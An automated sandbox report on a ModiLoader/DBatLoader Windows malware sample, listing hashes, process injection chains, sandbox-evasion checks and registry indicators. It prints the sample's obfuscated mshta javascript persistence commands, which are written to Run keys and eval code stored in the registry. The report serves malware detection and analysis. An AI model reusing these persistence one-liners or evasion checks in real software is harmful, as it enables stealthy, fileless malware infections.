Analysis
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max time kernel
151s -
max time network
155s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
29-10-2022 04:34
Static task
static1
Behavioral task
behavioral1
Sample
c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe
Resource
win7-20220901-en
windows7-x64
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe
Resource
win10v2004-20220812-en
windows10-2004-x64
13 signatures
150 seconds
General
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Target
c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe
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Size
603KB
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MD5
b0b97a3c4739fbcd9e7db5049c0d1f25
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SHA1
aeb8b08bf5179e895a2f28f950ff31946cf0565b
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SHA256
c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016
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SHA512
92a1ed6151e4f2a5aef3105d295930ce0b6878c4617ddbd5098bd3978e4063a8e9d290ba04905cd69567dcedae177ae68b64c297621fcacc0faf727212d8ef7e
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SSDEEP
12288:6eeWaQehiM7jTD13IFjrhLytIwPWNrYlkdsFizVa0:gQui0JYTyXPsElLFKVr
Score
10/10
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 11 IoCs
resource yara_rule behavioral1/memory/1280-56-0x0000000000400000-0x000000000049B000-memory.dmp modiloader_stage2 behavioral1/memory/1280-57-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/1280-60-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/1992-63-0x00000000000D0000-0x000000000019C000-memory.dmp modiloader_stage2 behavioral1/memory/1992-65-0x00000000000D0000-0x000000000019C000-memory.dmp modiloader_stage2 behavioral1/memory/1664-68-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/1704-71-0x00000000000D0000-0x000000000019C000-memory.dmp modiloader_stage2 behavioral1/memory/688-75-0x0000000000200000-0x00000000002CC000-memory.dmp modiloader_stage2 behavioral1/memory/688-76-0x0000000000200000-0x00000000002CC000-memory.dmp modiloader_stage2 behavioral1/memory/1664-77-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/1704-78-0x00000000000D0000-0x000000000019C000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:l7QlvZ8dP=\"R2qk5XO1y\";Y8A2=new%20ActiveXObject(\"WScript.Shell\");f4NildBP=\"GnS40aRvp\";RzNW1=Y8A2.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\eba117963d\\\\b564ba22\");XL1iqQbt=\"93hbEej\";eval(RzNW1);fad8Wdzpl=\"gsL5\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
pid Process 1664 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:cyldL4re=\"B4p5\";Fu6=new%20ActiveXObject(\"WScript.Shell\");n3mXk1gz=\"Cyi\";JnJ6u=Fu6.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\eba117963d\\\\b564ba22\");p4FsDXX9=\"VQJj\";eval(JnJ6u);GHFi9Jp2I=\"cXkshfp\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:FGq7KVCKE=\"7\";T27A=new%20ActiveXObject(\"WScript.Shell\");lY8IO8fp=\"N\";D5moI=T27A.RegRead(\"HKCU\\\\software\\\\eba117963d\\\\b564ba22\");s8m7ODYrb=\"7t0Zk\";eval(D5moI);oTOu7eEkJ9=\"fSWCer4o1\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
pid Process 1280 c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe 1280 c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe 1280 c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe 1992 regsvr32.exe 1992 regsvr32.exe 1992 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe 1664 regsvr32.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 1280 wrote to memory of 1992 1280 c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe 27 PID 1280 wrote to memory of 1992 1280 c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe 27 PID 1280 wrote to memory of 1992 1280 c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe 27 PID 1280 wrote to memory of 1992 1280 c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe 27 PID 1280 wrote to memory of 1992 1280 c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe 27 PID 1280 wrote to memory of 1992 1280 c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe 27 PID 1280 wrote to memory of 1992 1280 c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe 27 PID 1992 wrote to memory of 1664 1992 regsvr32.exe 28 PID 1992 wrote to memory of 1664 1992 regsvr32.exe 28 PID 1992 wrote to memory of 1664 1992 regsvr32.exe 28 PID 1992 wrote to memory of 1664 1992 regsvr32.exe 28 PID 1992 wrote to memory of 1664 1992 regsvr32.exe 28 PID 1992 wrote to memory of 1664 1992 regsvr32.exe 28 PID 1992 wrote to memory of 1664 1992 regsvr32.exe 28 PID 1664 wrote to memory of 1704 1664 regsvr32.exe 29 PID 1664 wrote to memory of 1704 1664 regsvr32.exe 29 PID 1664 wrote to memory of 1704 1664 regsvr32.exe 29 PID 1664 wrote to memory of 1704 1664 regsvr32.exe 29 PID 1664 wrote to memory of 1704 1664 regsvr32.exe 29 PID 1664 wrote to memory of 1704 1664 regsvr32.exe 29 PID 1664 wrote to memory of 1704 1664 regsvr32.exe 29 PID 1664 wrote to memory of 688 1664 regsvr32.exe 30 PID 1664 wrote to memory of 688 1664 regsvr32.exe 30 PID 1664 wrote to memory of 688 1664 regsvr32.exe 30 PID 1664 wrote to memory of 688 1664 regsvr32.exe 30 PID 1664 wrote to memory of 688 1664 regsvr32.exe 30 PID 1664 wrote to memory of 688 1664 regsvr32.exe 30 PID 1664 wrote to memory of 688 1664 regsvr32.exe 30
Processes
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C:\Users\Admin\AppData\Local\Temp\c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe"C:\Users\Admin\AppData\Local\Temp\c93a7022c0677da84789c7770d60c1cb7d4534d552d3b985711bc1c1519ad016.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:1704
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:688
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